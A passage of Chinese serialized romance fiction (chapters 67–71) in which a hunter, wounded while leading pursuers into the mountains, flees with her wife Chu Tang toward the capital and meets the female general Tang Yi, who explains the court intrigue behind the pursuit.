夏时的心一下子提了起来,她很确定那不是野兽误闯留下的痕迹,于是转身就往山中跑去。她跑得很快,迎面的寒风夹杂着雪粒打在脸上,微微生疼,耳边尽是呼啸的风声。 此时的山林似乎很静,除了风声再没有其他。 此时的山林又似乎喧嚣,人踩踏在积雪上的细微声响也被无限放大。 夏时一路奔跑并未回头,但她的直觉告诉她,身后有人在追逐。所以她并未像以往那样,只是稍稍绕点路就直接回去山洞,而是一路越跑越远,尽是往山林深处而去。 起初身后追逐的人并没有什么动静,跑动起来脚步比夏时还要轻,似乎打着不动声色跟踪的主意。可等到夏时越跑越远,距离深山野兽出没的地带越来越近,跟踪的人也发现了不对。于是他们终于露出了痕迹,开始拔足狂奔,想要将前面逃跑的猎人抓住。 夏时这时才回头看了一眼,就见几个裹着白色披风的身影如鬼魅一般跟在她身后——这一看就不是什么官府的差役,光追踪的本事就不是官差能比的,楚棠的担心恐怕是真的。 小猎户心往下沉了沉,但也没有十分畏惧,毕竟这里可是山林,是她的地盘! 夏时眸光一沉,回过头足下生风,跑得越来越快……让她想想,前面好像是黑熊的地盘。虽然入冬之后黑熊都冬眠了,可这种情况下闯进去把冬眠的熊惊醒,它也会越发的暴虐吧? ************************************************************ 夏时说的去去就回并没有实现。 楚棠在山洞里等了很久,等到天色渐晚,等到心慌意乱,终于不得不承认她可能出事了。这个念头只是在楚棠脑海中冒出来,她就已经慌得手脚冰凉,甚至一度想要不管不顾的出去寻人。 可人的冲动终究会败给现实,而楚棠败给的现实是她连门都出不去——山洞的洞口被夏时用大石头堵住了,别看小猎户将石头挪来挪去很轻松的样子,可换了楚棠却是真推不开。她用尽全身力气去推,也不过将石头推得微微晃了晃,根本挪不出自己能挤出去的空间。 起先楚棠还努力推着石头,可在她怎么都推不动的情况下,眼眶忽然就红了,情绪崩溃也只在一瞬间。被困山洞和夏时出事这两个认知像是两座大山一样压在她心头,曾经病重奄奄一息时的无力感,也在此时重新笼罩了她。 终于,楚棠放弃了继续推石头,她冲着怎么都推不动的石头踢了一脚。之后也不知是脚疼还是情绪彻底绷不住,她抱膝蹲在洞口就哭了起来。 也不知哭了多久,耳边一阵熟悉的响动传来,紧接着一股寒风伴随着雪花闯了进来。 楚棠被这股寒风激得打了个激灵,茫茫然抬起头,一眼就瞧见了站在山洞口的熟悉身影。当下什么也顾不得了,起身便冲了过去,直直扑进了夏时怀里。 夏时冷不丁被楚棠撞了个满怀,脚下不由退后一步,这才伸手将人抱住:“怎么了,你怎么哭了?” 不得不说,小猎户眼力很好,就刚才那匆匆一瞥也看清了楚棠脸上的泪痕。她忍不住有些心疼,抬手去替楚棠拭泪,后者在她怀中语带哭腔的控诉:“你怎么现在才回来啊?我想出去找你,可我推不开石头,出不去,我以为我会被困死在这里。” 夏时有些想笑,劫后余生的她也很想多抱抱楚棠。但站在这里安慰人显然不合时宜,于是她推了推怀中人:“走吧,咱们进去再说。” 楚棠也不是头脑不清的人,情绪的短暂崩溃得到宣泄后,理智也很快重新回归。 她甚至觉得有些不好意思,松开夏时之后抬手抹了抹眼泪,结果手刚收回来她便发现了不对——她白皙的手掌上沾染了一片暗红,那是血液的颜色! 楚棠脸色当即一变,再也顾不得之前的慌张,绕到夏时身后去看:“你怎么了,身上怎么这么多血?!”说着目光落在夏时背上,只见一片暗红,目光再往下移,雪地上也是星星点点红梅一般的痕迹。 看来她之前的担忧并非多余,夏时真的出事了! 这一刻,楚棠只觉得心像是被无形的大手揪了一下,又慌又疼,忙将夏时扶进山洞。 可即便如此,她推不动的堵门石头,最后也还是夏时推了回去。但这个动作像是耗尽了她最后的力气,旋即她便觉得腿一软,险些直直跪倒。 而她之所以没跪下去,是被楚棠托住了,后者两手托在她腋下,将人往山洞里挪。 楚棠力气不够,挪得十分费劲儿,夏时缓口气拍拍她的手,还能出言安慰:“没事,别费劲了,我就是一时脱力。就放我在这儿休息会儿,我自己能走。” 挪不动也只能听劝,楚棠头一次觉得自己这般无用。她咬着唇半跪在地上,拥着夏时让她靠在自己身上休息,好一会儿才忍住了情绪问她:“到底发生了什么事,你,你伤得严重吗?” 夏时侧过头在她颈边蹭了蹭,略略安抚:“我没事,小伤而已。” 楚棠不信,那么多血,把她的皮裘都给染透了,怎么可能是小伤?她小心的解开皮裘的系带,将这染血的厚重裘衣一点点从夏时身上脱下,期间听到夏时忽然痛“哼”了一声,顿时将住手脚不敢再动。等夏时说了没事,她这才探过头往她身后细看。 这一看楚棠才发现,夏时后肩上还插着只短小的袖箭,因为箭杆太短的原因被皮裘上的兔毛遮掩住了,让人第一眼没能看见。但脱皮裘的动作触动了箭矢,才让夏时感觉到了疼。 楚棠的眸光霎时一沉,这样精致的袖箭可不是寻常人能够用得上的,所以夏时果然是被她连累了。 似乎是察觉到了她的气恼和怒火,夏时伸手勾住了楚棠的手指,这才缓缓说道:“有人找来了,我把他们引去了深山。放心,那里有熊还有陷阱,我把他们都留下了。” 至于她背后的这支箭,不过是某个人的临死反扑。也幸亏楚棠今天让她穿了皮裘,袖箭的力道本就有限,那厚厚的皮子又给阻了阻,箭矢入肉其实不深,远没有想象中伤得那样重。 68☆、第68章 ◎不如孤注一掷,直接去京城看看◎ 封闭的山洞里,血腥气渐渐在空间中弥漫开来。 夏时身上的衣裳已经在楚棠的帮助下全都脱了下来,此刻的她光裸着上身,后肩上的伤势一目了然——那支袖箭还扎在她肉里,伤口看上去血肉模糊的有些可怕,但仔细一看就会发现这支箭射得并不深,也没有倒刺需要划开伤口取箭,只需将箭拔出来止血上药即刻。 万幸,作为一个常年在山中奔走的猎人,夏时不论出门打猎还是出门避难,总记得随身带上一瓶伤药。她用上的时候很少,但现在却是正好救急。 山洞里温暖如春,夏时脱了衣裳也没觉得冷,但长久的等待还是让她有些不适。她不禁回头看向楚棠,再一次交代道:“没什么可怕的,你抓住箭杆拔出来就是了。一开始血可能流得有些多,伤药倒上去会被血冲开,你把药倒在帕子上捂一会儿,等血流得没那么厉害了,在重新上药包扎就好。” 伤在后肩,夏时无论如何没办法自己处理,所以拔箭上药的事只能交给楚棠。楚棠也做好了替夏时处理伤口的准备,可等她真看到那伤,却又忍不住眼眶泛红,手抖得握不住那箭杆。 夏时见状不免叹息一声,但私心里却并没有嫌弃楚棠没用,反而在对方身上看到了浓浓的心疼。这让她有些高兴,独自生活的人是没有人会关心和心疼的,现在看到楚棠这般反应,她反倒觉得这箭没白挨。不过继续耽搁下去是不行的,于是她伸手重重握了握楚棠的手,借此安抚对方情绪。 好在楚棠眼眶虽然红着,但终究没有落泪,也没有一直耽搁下去。 她深吸了一口气,像是给自己鼓足了勇气,然后开始按照夏时的交代一步一步去做——倒好伤药的帕子就在手边,随时可以拿起来止血。碍眼的箭杆近在眼前,抬手轻轻握住,另一只手按在夏时背上,随时准备发力拔箭。 手掌下的肌肉在她握住箭杆的那一刻开始紧绷,还有些微微的颤抖,约莫是很疼的……楚棠一闭眼,一咬牙,握在箭杆上的手猛地发力。 她力气不大,但拨出这支箭也并不需要太多的力气。楚棠用力过猛险些往后倒的同时,夏时的闷哼声伴随着几滴温热的血液溅在她脸上,迅速唤回了她的神志。这一刻所有的感情用事都被摒弃在了脑后,楚棠飞快拿起帕子捂在了夏时的伤口处。 一股鲜血顺着夏时的脊背缓缓往下流,白皙的肌肤与殷红的血液形成了鲜明的对比。 楚棠咬紧了下唇,拿过另一张帕子缓缓将那缕殷红擦净。她一言不发,但已经缓过劲来的夏时却主动开了口:“好了,我没事了,等会儿换药包扎就好了。” 原本楚棠还能压抑情绪,听到这话还是没忍住话语中带了哽咽:“是我连累了你。” 夏时一愣,接着回头看她,眉头比之前拔箭时皱得还紧:“你和我说这话是什么意思,难不成你不想连累我,还要抛下我独自离开?!” 说话间,夏时倔强的伸手过来拽住了楚棠衣角,一副怕她跑了的样子。 楚棠满腔的情绪都被夏时这个动作打乱了,她愣了愣,一时竟不知留下继续连累夏时更好,还是独自离开让对方安宁度日更好。 不过显然,夏时自己已经做出了选择,见她犹豫不免咬牙切齿:“你真想走?我这伤可是为你受的。” 楚棠一顿,目光落在夏时后肩上一瞬,又飞快挪开:“可如果你继续跟我在一起,说不定还会继续被我连累,受更多的伤。” 夏时没想过买个媳妇回来会有这样危险的后续,但事到如今她也没有退缩的想法。她半转过身,正视着楚棠的眼睛,坚定又笃定:“我不怕。” 楚棠被她这动作吓了一跳,忙侧了侧身,继续将夏时的伤口捂好。 短暂的沉默之后,楚棠说道:“那你可能没有养伤的时间了,我们得尽快离开。” 夏时不觉得这伤有多重,只是她受伤之后一路跑回来,血流得有些多,这会儿人也觉得比以往虚弱几分。再加上数九寒冬赶路不易,她还想养养伤:“这么着急吗?今日遇见的那些人,我一个都没有放过,就算还有人会来抓你,应该也是之后的事了。” 楚棠听了却摇摇头:“有没有人回去报信并不重要,那些人失去踪迹,本身就能证明云雾山有问题。大老远都能找到我的人,既然派了一批人来,就不会犹豫派出第二批。” 虽然时至今日,楚棠也没想明白自己哪里值得人如此费心了,但基于现状判断,楚棠并不觉得继续留在这里是什么明智的选择——云雾山虽大,温泉山洞虽隐蔽,但也不是万无一失的。至少钱家老两口避祸的山洞距离这里就不远,而田二和田二嫂还曾送他们进山。 此地不宜久留,而前一批人刚被夏时解决,正是难得的空挡。 ******************************************************** 夏时总是愿意听楚棠的决定。拔箭之后两人只在温泉山洞里休整了一夜,翌日天气虽然依旧不好,两人也还是不顾风雪离开了这处安逸的临时小窝。 血染的皮裘被楚棠拿着积雪搓干净了血迹,重新穿在了身上。夏时肩上有伤,背不了太重的东西,便只挎上猎刀,将金银收拾了一个包裹,更多的行李也没有带。 两人扣上斗笠,就这样相互搀扶着出了山洞,行走在山间。 夏时对这座山最是熟悉不过,领着楚棠便往石田村相反的方向走去:“这边也有一条小路下山,只是山路略有些陡,杂草也多,寻常并没有人从这边走。倒是有个好处,不必经过石田村,就能直接走到官道上。咱们沿着官道走上一段,附近还有好几个村子。” 楚棠顶着风雪艰难前行,原本她是准备扶着受伤的夏时走的,结果走着走着,搀扶夏时的手反而时不时被对方扶上一把。显然即便是受伤的夏时,雪天赶路的情况也比她要好得多。 两人就这样深一脚浅一脚的走在山路上,平日里夏时急奔不过一个时辰的路程,两人足足走了大半天,才终于到了她口中的那条山道前。 只是那山道早被积雪覆盖,以楚棠的视角看来与陡坡无异,根本看不出哪里还有山道。 夏时也知这路对于楚棠来说可能不太好走,平时也就罢了,下雪天路还滑,一脚踩空可不是玩笑。她往山道上看了看,又回头看楚棠:“要不然还是我背你下去吧。” 楚棠拒绝了,哪有让伤患背的道理:“你拉着我,我们慢慢走吧。” 夏时应了声好,也不逞强,拉着楚棠一步步往山下去。 寒风凛冽,风雪扑面,夏时的唇色透着些苍白,但脚下的步子和拉着楚棠的手却一如既往的稳。两人又用了小半个时辰,终于走完了打滑的陡峭山道,脚踏实地的站在了平坦的官道上。 楚棠长长吐出了口气,回望身后高山,生出几分后怕与腿软来。 夏时倒是头也没回,像是一点不留恋身后的家,她拉着楚棠继续往前走:“走吧,顺着这条路往前是小杨村。你还记得那个拉牛车来往县城的车夫吗,他家就是小杨村的。咱们可以去找他,把他的牛车买下来代步。” 这风雪天赶路实在是太难走了,两人一个伤一个弱,又不敢在附近多做停留,尽早买个代步工具是很有必要的。马车什么的在这山野之地基本没指望,而牛车就成了她们最好的选择,或者买两头驴子来骑也行,只是她一时半会儿想不到哪家有驴,还得两头。 楚棠听她打算得不差,便默默跟上她步伐,保留体力也不说话。 如是又过了许久,雪天的官道上除了她俩再不见旁的路人。直到小杨村远远相望,楚棠只觉得两条腿都没什么知觉了,又是冷又是累。 夏时却在这时又开了口,这次语气中没有之前的笃定,反而透着两分迷茫:“阿棠,买了牛车,咱们又要往哪儿走呢?”顿了顿,又说:“我这十几年,没有离开过丰乐县。” 在自己熟悉的地盘,夏时永远都是沉稳可靠的,仿佛遇到任何事她都能将楚棠庇护在自己的羽翼之下。可现在她们即将离开,接下来的路在哪里,夏时不知道。未知的一切让她迷茫,让她胆怯,让她在事到临头的这一刻,忽然生出退却。 好在这时楚棠握住了她的手,而这一路楚棠早已经想好了去处:“咱们去京城。” 夏时闻言也顾不上心头的复杂情绪了,惊诧的“啊”了一声:“为什么要去京城,你不是说那些歹人就是京城来的,咱们这是要羊入虎口吗?!” 斗笠下,楚棠的眉眼不知何时也染上了风雪,她眨眨眼,白色的雪花随着她睫毛颤动:“我家早已经败落,按理说不会有人再记起我。但现在这些人既然不远千里的找上门,必然是又生了什么变故。咱们即便逃去天涯海角,也难保证不会再被人找上,还不如孤注一掷,直接去京城看看。” 是这样吗? 夏时想不明白其中纠葛,但既然楚棠说去京城更好,那就去吧。 她重振旗鼓,反正有她一直护着楚棠,情况总不会太糟糕,大不了看过之后真浪迹天涯去。 69☆、第69章 ◎一抹刀光乍现,直冲着她脖颈抹来◎ 大雪茫茫,寒风呼啸,并不适合赶路的天气里,两个人的行程还算顺利。 她们一路走,从徒步到购买牛车再到换乘马车,从两手空空到置办行李干粮……万幸当初离家时没忘了带上钱财,终究不至于太过狼狈。 如是走了四五天,距离丰乐县渐渐远了,来抓楚棠的人也没有再出现过,两人紧绷的神经这才松懈了些许。只可惜大雪阻路,马车也并不易行,因此几日过去两人的赶路进程也才堪堪到达丰乐县所属的府城,距离京城却还离得远呢。 马车在官道上缓缓而行,漫天的风雪中只这一辆车马独行,多少有些冷清。夏时驾驶马车也十分小心,总是时时刻刻观察着地面,唯恐路上有个坑,车轮子陷进去再想弄出来就很麻烦了。 忽的,她身后的车帘被掀开,楚棠探头出来看向前方。 远远的,一座城池的轮廓在风雪中突显,并不如京城城墙那般高耸巍峨,但也不是丰乐县城能比的。楚棠被人贩子运去丰乐县城之前还曾路过这里,因此她一眼便认出了眼前城池:“前面就是庆阳城了,若要入城,今日应该能够赶到。” 夏时的目光没有从前方道路上挪开,却也抽空远远看了眼那大城——庆阳城她是知道的,正是丰乐县所属的府城,人人都道那里繁华,夏时却还没有去过。 当然,她现在也没有去的想法:“还是算了,这样的大城更加引人瞩目,咱们还是绕过去吧。” 这些天两人的行李虽然置办得越来越全,但正经的城镇却几乎没有进过,都是向沿途村落购买的。就连这架能够遮风避雪的马车,也是在某个富裕村落向村中富户高价收购的。为的就是怕人多眼杂,楚棠不小心暴露行迹再引人追捕,而散落各处的村子就没那么显眼了。 为此两人也着实吃了不少苦头,比如有城不能入,有客栈不能住,最好的情况就是在村户家中借住一晚,还得防备人家见她们有钱生出歹心。 更多的时候两人还是露宿荒野,只凭着这马车车厢遮风避寒,然后裹着被褥相拥着度过一夜。 夏时不是没经过风餐露宿的人,因此对这样的生活还算接受良好,可楚棠却没吃过这样的苦,这些天眼看着便清减了许多。她有些心疼,也想进城带着楚棠好好睡上一觉再吃顿饱饭,可为了安全计,还是过城不入的好。 这番道理不必夏时解释,楚棠也是心知肚明。她一手掀着车帘,另一只手藏在袖中,缓缓摩挲着一块玉佩——是温锦澜送她的那块明家信物。丰乐县偏远,她没在县城里找到明家的铺子,但眼前的府城却不然,她大可带着这块玉佩去明家商铺寻求帮助。 这个念头在楚棠脑海里徘徊好一阵了,她固然心动,但也免不了犹豫。且不提明钰于她而言只是好友的夫人,更要紧的是庆阳城远离京城,也远离明家核心所在的南方,这里的铺子掌柜未必可信。 犹豫再三,楚棠还是没将玉佩拿出来,而是问夏时:“绕过庆阳,需得多走几日?” 夏时抿了下唇,没答话。城池不是那样好绕开的,穿城而过只需半日的路程,若要绕行至少得多走三天。而且这三天走的还不是较为平坦的官道,小路走起来坑坑洼洼,不知要费多少力。 楚棠见她这样也知道答案了,她叹了口气,对夏时说:“进城吧。咱们不在城中逗留,从东门进直接从西门出,我就待在马车里不露面。去云雾山的那些人都被你留下了,其他人应该不熟悉你的长相,你驾车经过应该也不会引人注意。” 夏时闻言想了想,觉得也成。只是现下天色已经不早了,她听说庆阳城不小,若是此刻进城恐怕来不及在城门关闭前穿城而过,所以还是不急着进城,等明日再走不迟。 她将这打算说给楚棠听,楚棠也没有什么异议,干脆便将车驾去了一旁空地上暂歇。 夏时勒停马儿,冲着冻僵的手吹了口暖气,又跳下马车翻出随车带着的干草豆料之类的去喂马。等马儿吃饱喝足了,这才抖抖身上的雪花,跳上了马车。 马车里,楚棠正不顾形象的裹在被子里,面前是个小铁盆,里面正燃着炭火。只是这炭显然不如夏时过冬时特地买的那样好,燃烧起来*车厢里尽是烟气,多少有些呛人。 不过楚棠顾不得嫌弃,夏时自然更不会嫌弃,上车后就将手放在火盆上烤了一会儿,这才让冰冷僵硬的手渐渐恢复了知觉。只是这一冷一热刺激得有点痒,像是要生冻疮了。 楚棠见状自然心疼,试图帮夏时暖手也被她躲开了:“别了,你本就怕冷,哪能让你帮我暖手?”说完就笑:“也是风水轮流转,从前可都是我帮你暖手暖脚的。” 话是这样说,但等到手没那么冰了之后,楚棠再要帮她暖手,夏时还是接受了。 待夏时身体渐渐暖和起来,楚棠便翻出了干粮放在炭盆上慢慢烤着。不敢进城显然让她们的生活质量直线下降,不管这干粮好不好吃,都是两人今日的晚饭了。 ************************************************************ 冬日天短,马车停下后不久,天色就渐渐暗沉了下来。 远处的庆阳城沉默的矗立在那儿,但若是拉近视野就会发现,守门的官兵不耐值守,已经提前开始关闭城门了。而就在城门关到一半的时候,一队人马倏然而至,踏踏的马蹄声惊得推城门的官兵手一顿,停下动作回头看去。 却见一支二十来人的队伍自城中疾驰而来,马背上的骑士个个身宽体阔肌肉虬结,更难得的是这群人骑马而来时扑面就有一股慑人的气势袭来,仿佛什么洪水猛兽,竟唬得守城官兵不敢再动。 守城的兵丁虽然也是兵,但州府的官兵几乎只负责防卫治安,根本没有上战场的机会。可就在此时,这些人心中忽的生出一股明悟来——眼前这只队伍必是军旅中人,而且还是上过战场杀过人的精兵,否则不可能有这样可怕的气势。 也是因着这种想法,官兵们不仅没敢上前阻拦质问,甚至就连关到一半的城门也被他们重新推开了,以便放这群人及时出城。 队伍果然顺利出城,只是为首的人回头看了眼,眉头忍不住皱了一下。 当然,没有人回头理会这群偷懒还犯怂的官兵,他们胯下骏马速度极快,裹挟着风雪飞快跑远了。只是那踏踏的马蹄声似乎停留了许久,好一会儿官兵们才反应过来,对视一眼后也不敢多说什么,继续推着沉重的城门缓缓合拢——被这一耽搁,这时候关城门时间倒是恰好。 风雪中,这队人马顶风冒雪,踏着官道疾驰而过。新雪覆盖的雪白地面上,很快留下一串马蹄印,起初马儿踏过的地方都是雪白一片,也不知跑了多久,地面上多了两道车辙。 为首的骑士低头看了一眼,心中不免生出些奇怪来——他们是不得已才在雪天赶路,可这样糟糕的天气,寻常人可不会出门,哪怕有马车,这时节赶路也很麻烦。 马儿跑得很快,那人心念电转还没想得太多,便已经疾驰出去老远。其余人都跟在她身后,自是一刻不曾停留,马蹄过处扬起一片风雪。 然后为首那人忽然一把扯住缰绳,勒停了马儿——不对,这样的天气赶路本就不同寻常了,眼下这里距离庆阳城也不是太远,看看地面车辙上新雪覆盖的痕迹,马车停下应该有一阵了。有这时间说不定车都已经能够驾进城里了,何必还要在这荒郊野外的耽搁,尤其天气还这样冷。 这样一想,为首的骑士便忍不住想要回头去看看。她也是个干脆的性子,既然生出了这样的念头就毫不耽搁,直接一扯缰绳调转马头,往回跑去。 身后的骑士沉默着跟随,没人开口质疑什么,更没人有半分迟疑。 很快,这支已经经过的队伍又顺着车辙跑了回去。有雪中痕迹为引,没费什么功夫便寻到了藏在道旁树林边的马车。马儿正刨着地上积雪,似乎打算在雪地下寻找草根之类的觅食,车夫倒是不见踪影。 二十几人的队伍很快将这辆马车包围了,为首那人身披斗篷,将面容遮去大半。她抬手制止其余人跟随,独自策马上前,想了想伸手在车厢上轻叩两下,像是敲门一般。 马车里没什么动静,从一开始就安静得仿佛根本没人。 叩门的人又等了等,没等到回应之后终于轻声开口,说了句:“得罪了。” 话音落下,她伸手掀开车帘。但就在下一刻一抹刀光乍现,直冲着她脖颈抹来,但凡她身体后撤的速度迟上半刻,便是被抹喉的凶险。所幸她应对危机经验十足,反应也极为迅速,坐在马背上一个后仰,便堪堪避开了这道致命的刀光。 刀的主人自然不会就此罢休,一道矫健的身影随之从马车中蹿出。她速度快极了,如敏捷的猎豹扑向猎物,根本没给周围骑士援手的时间便再次挥刀而上。 只可惜这一刀又落空了,却是对方早有所料拔出了马鞍旁的佩剑,剑锋出窍的瞬间堪堪格挡住砍来的刀锋。 “叮叮当当”一阵金铁相交的响动随之传来,密集的声音也代表着交手的两人速度极快,以至于想要开口的人一直没找到机会出声,不得不将全副心神放在应对袭击上。 70☆、第70章 ◎她纯纯就是遭遇无妄之灾了◎ 刀光剑影间,一声清晰的“住手”忽然自马车中传来。 夏时挥刀的手不由一顿,手下的招式也慢了半拍。好在对方并没有趁机反制,反而提剑后撤,趁机与她拉开了距离。接着饶有兴趣的打量她一番,给出个评价:“还挺凶。” 这话这语气,听着倒不像是来找二人麻烦的敌人,不过夏时还是举着猎刀紧张的后退两步,警惕的护在了马车前——但愿楚棠刚才那一声没有喊错,否则在这么多人的包围下,没能趁机拿下领头的人,想要脱身可不容易了。 万幸,楚棠并不是会拖后腿的人。她原本是躲在车里借着车帘缝隙看外间情况的,直到她认出了正在和夏时交手的人,这才出言叫停了这场危险的对拼。 别误会,危险的不是对方,而是夏时。 楚棠见二人停手,便掀开车帘露了面,同时直接叫破对方身份:“唐小将军,你怎在此?” 唐奕闻言反手将剑归入鞘中,又抬手摘下头上兜帽,便露出一张年轻俊俏的脸庞。她眉眼生得英气,眼神也颇凌厉,但看到这张脸人的并不会错认她的身份。 夏时与之交手时就认出这是个女郎,因此听到楚棠称呼,反倒生出几分诧异来——本朝风气算是开放,女子之间成婚也不罕见,但也仅止于此了。至少孤陋寡闻的夏时从未听说过,朝堂里还有女官存在,更不必提什么将军了,还是这么年轻的小将军。 不过无论如何,见楚棠确实认识对方,气氛也不是剑拔弩张,夏时紧绷的心弦终于还是松了松。 唐奕没看夏时,冲着马车里的楚棠打了个招呼:“许久不见。知微猜到你恐有危险,让我过来接你的。”说着目光才往两人身上接连扫过:“不过我好像来迟了。” 夏时听过沈知微的名字,直到她是楚棠心心念念的好友之一,因此听到这话心中疑虑更少。她握刀的手颤了颤,又回头看了楚棠一眼,见她神色无异,终于缓缓将猎刀收回——刚才一番拼斗,她的猎刀损坏不小,这会儿刀锋上尽是缺口,要真继续打下去多半撑不了太久。 楚棠听了唐奕的话,心里却并不轻松,之前的猜测也得到了印证。果然是京城出了问题,这才牵连到千里之外的她,而且连她都不放过,这问题必然不小! 压了压眉眼敛去心头烦躁,楚棠仰头问马背上的唐奕:“京中到底发生了何事?” 唐奕却没急着回答,反而将目光投向夏时方向,略抬了抬下巴:“说这些之前,不先看看她吗?” 楚棠微微一愣,旋即反应过来,立刻将紧张的目光投向夏时——之前两人打斗,夏时是拼尽全力,也是应对野兽一样的态度,招招都往致命处去。可唐奕猜到了她的身份,显然手下留情,因此两人打斗半晌其实并没有伤到彼此。 但这不代表没事,至少对于伤势未愈的夏时来说,方才那一番搏命她根本顾忌不到后肩的伤势。这会儿伤口已经崩裂,殷红的血色渐渐浸透了厚实的冬衣,连唐奕都闻到了一丝血腥气。 楚棠的心一下子提了起来,再顾不上唐奕,一把就将夏时拉上了马车:“抱歉,有什么事稍后再说,我先看看她的伤。” 唐奕自无不可,还伸手入怀掏了瓶伤药扔给她们。 ****************************************************** 夏时的伤口不大,但这些天并没能好好静养,原本愈合得就不算好。今日又与人一番拼斗,用力之下伤口崩了个彻底,这几日的恢复也算是白费了。 楚棠一面心疼,一面替她换药包扎,所幸唐奕给的伤药不错,血很快就止住了。 夏时还是一贯的强撑,在楚棠面前半点不肯示弱,疼得咬牙切齿回头还能冲她笑:“好了,不是什么大事。现在有人来接,之后咱们赶路也不用提心吊胆,我这伤养几日就好了。”说完勾勾楚棠手指:“还是阿棠聪明,咱们往京城赶才能遇见人,否则这来接应的人还要错过了。” 楚棠叹气,她虽然早有预料,却也不觉得这全然就是好事。毕竟麻烦的源头在京城,她们回去也是往麻烦堆里扎,难说之后会是怎样的发展。 夏时见她依旧愁眉不展的样子,只得转移话题:“对了,外面那人到底什么身份,我怎么没听说过朝廷里还有女官?是我又孤陋寡闻了吗?” 楚棠便顺着她的话回道:“没有女官,她是唯一的例外。唐家世代将门,满门忠烈,唐奕十四岁时正跟随她爹驻守边关,一场变故她爹也殉国了,边关群龙无首之际,是她扛起了大梁,击退了敌军不止,还杀了敌军主帅为她爹报了仇。如此军功卓越,才让陛下破例封她做了将军。” 当然,唐奕的日子也不好过,之后朝中就派人去边关接手了兵权。几年过去,她这小将军的名号似乎也只剩下名号了,在京城过得有些憋屈。 除此之外,唐奕也还有另一重身份,她是沈知微的夫人,所以楚棠才会相信她。 将这些简单说给夏时听,楚棠又翻出备用的冬衣重新替她穿戴好,两人这才再次走出马车。而这时原本围着马车的一行人早就下了马,还收拾出一片地方,不知怎么寻到的干柴生了一堆篝火,唐奕正坐在火堆前优哉游哉的烤着火。 她武力强悍,耳力也不差,自然将两人在马车上的对话听得一清二楚。不过她也不在意,见两人下了马车还冲她们招招手:“你们寻这地方还不错,正好避风,过来烤火暖和暖和。” 楚棠牵着夏时走了过去,隔着篝火坐在了唐奕对面。 唐奕目光又扫过两人,其实她和楚棠的交情算不上深,除了沈知微这个联系之外,两人从前的圈子基本没有重合。不过她现在看着楚棠的目光倒是饶有兴趣,不为其他,只因这人不仅避过了流放,还与个猎户成了婚——从前她和沈知微可都猜测楚棠会寻个才高八斗的人做夫君,或者夫人。 由此,唐奕对夏时的兴趣更多了两分,想知道她是如何俘获美人心的。不过这话题并不适合当着楚棠这个当事人的面提,于是开口便只关心了一句:“怎么样,伤没事吧?” 夏时握着楚棠的手,主动答了:“没事,就是有点疼。” 这是实话,而且不是伤口本来很疼,而是敷药的瞬间疼得她差点没忍住叫出来。 唐奕自己给的药,如何不知道效果,闻言“哈哈”笑了起来,赞道:“你倒是实诚,一般人肯定不会当着我的面说我的药不好的。” 夏时却又道:“药挺好的,就是疼。” 唐奕便冲她竖起大拇指:“有眼光,那可是我家祖传的伤药。” 简单的几句对话破开生疏,唐奕又问过了两人之前的遭遇。楚棠都一一说了,末了才再次问道:“京城到底发生了什么变故,怎么连我这‘死人’都牵连到了?” 楚棠说自己是“死人”并不是胡言,而是从她被抛弃在流放路上的那一刻,她在朝廷那里的记档就已经是个死人了。哪怕她再跑回京城说自己是楚棠,只要没有利益牵扯都不会有人搭理她,而她更没有办法证明自己的身份。 可谁又能想到呢,时隔数月,“死人”都要复活了。 唐奕便叹口气,此番同行的护卫都是她的心腹,因此说话也不必避着这些人:“不是针对你,是针对长公主。五皇子去后,长公主接手了他的势力,如今在朝堂占据一席之地。几位皇子或许感受到了危机,便联手针对长公主,想瓜分她手中势力。只是长公主本身找不到破绽,他们也不得不另辟蹊径,比如以权谋私,令人替换了你这流放的罪人。” 安平长公主和五皇子一母同胞,两人都是皇后嫡出。按理说两人身份尊贵,五皇子的储君之位也是板上钉钉,可惜皇后不得皇帝喜欢,这对姐弟自然也讨不到好。 五皇子英年早逝,承恩侯府也有沉寂之意,原本安平公主也该随之沉寂。可谁让这位长公主不仅心有不甘,还手段卓绝,短短几月不仅接手了弟弟的势力,声势甚至犹有过之——本朝是没有女帝先例的,但前朝曾有过,因此安平公主的锋芒毕露,很快引起了所有人的警惕和反扑。 至于楚棠,她纯纯就是遭遇无妄之灾了,毕竟她和安平公主也就是见过几面的交情。双方仅有的牵扯还是沈知微,她出身承恩侯府正是安平公主的嫡亲表妹,恰好楚棠流放之前沈知微还答应过求五皇子帮忙翻案,而五皇子还真答应并且去做了。 在外人看来,楚棠和五皇子一系自然有了联系,她还活着就能成为安平公主以权谋私的证据。去云雾山的那群人也从未想过杀她,而是要将她活着带回京城。 楚棠很快想明白了其中症结,以手扶额,不明白自己这算是什么运气? 她理了理思绪,又问唐奕:“现在呢,你们打算怎么办?是将我好好藏起来不让人找到,还是干脆利落抹去这本不该存在的破绽?” 夏时听两人说话一直听得云里雾里,这时终于听懂了话中深意,身体一瞬间紧绷起来。 唐奕看到了,冲她摆摆手:“别这样,放松放松,我要真想做什么何必与你们说这么多?”说完她顿了顿,看向楚棠的目光忽然犀利起来:“其实还有一事。楚尚书的案子,五皇子当初翻案调查,当真有查出些东西。” 70-80 71☆、第71章 ◎很疼,非常疼◎ 清晨,庆阳城的城门照常开启,值守的还是昨日那班士兵。 这些人还没忘记昨日关闭城门前匆匆出城的那支队伍,有人一边啃着早饭,一边与同僚说起了这事,还在猜测那样一支队伍匆匆出城是为了什么——这话题原本昨晚就该说的,只是当时众人被一行人气势所慑,竟不敢轻易谈论,直到过了一夜才重壮了胆色。 “肯定不是一般人,看他们骑的那马,可不是普通人家能够买得起的,就算买得起也养不起。还有那些人的气势,都是杀过人见过血的,不是咱们能比。” “那你说,昨晚都快关城门了,这群人急匆匆出城去干嘛?” “这我哪儿知道,都是贵人们的事。不过前些日子城里也来了一伙人,气势没这么足,但看着也不是普通人……你说这大冷天的,这些人好端端不在家窝着,都跑咱们这儿来做什么?” “你问我,我问谁去?” “好了好了,别说了,有人来了。” 确实有人来了,而且不巧来的正是这群官兵刚才谈论的对象——昨日那出城的一行人又回来了,只是和当时的行色匆匆不同,这回这群人是骑着马慢慢走着来的。这还不止,队伍中间还多了一辆马车,一众骑士如众星拱月一般将马车包围其中,像是护卫。 守城官兵瞧见了,忍不住和身边同伴挤眉弄眼——刚才讨论的问题这就有了答案,这行人匆匆出城是去接人的。只奇怪的是被众人护在中间的马车不仅普通,甚至称得上简陋,和这一队看着就不凡的骑士颇有些格格不入。 入城的正是唐奕一行人,被众人护在中间的自然是楚棠的马车。 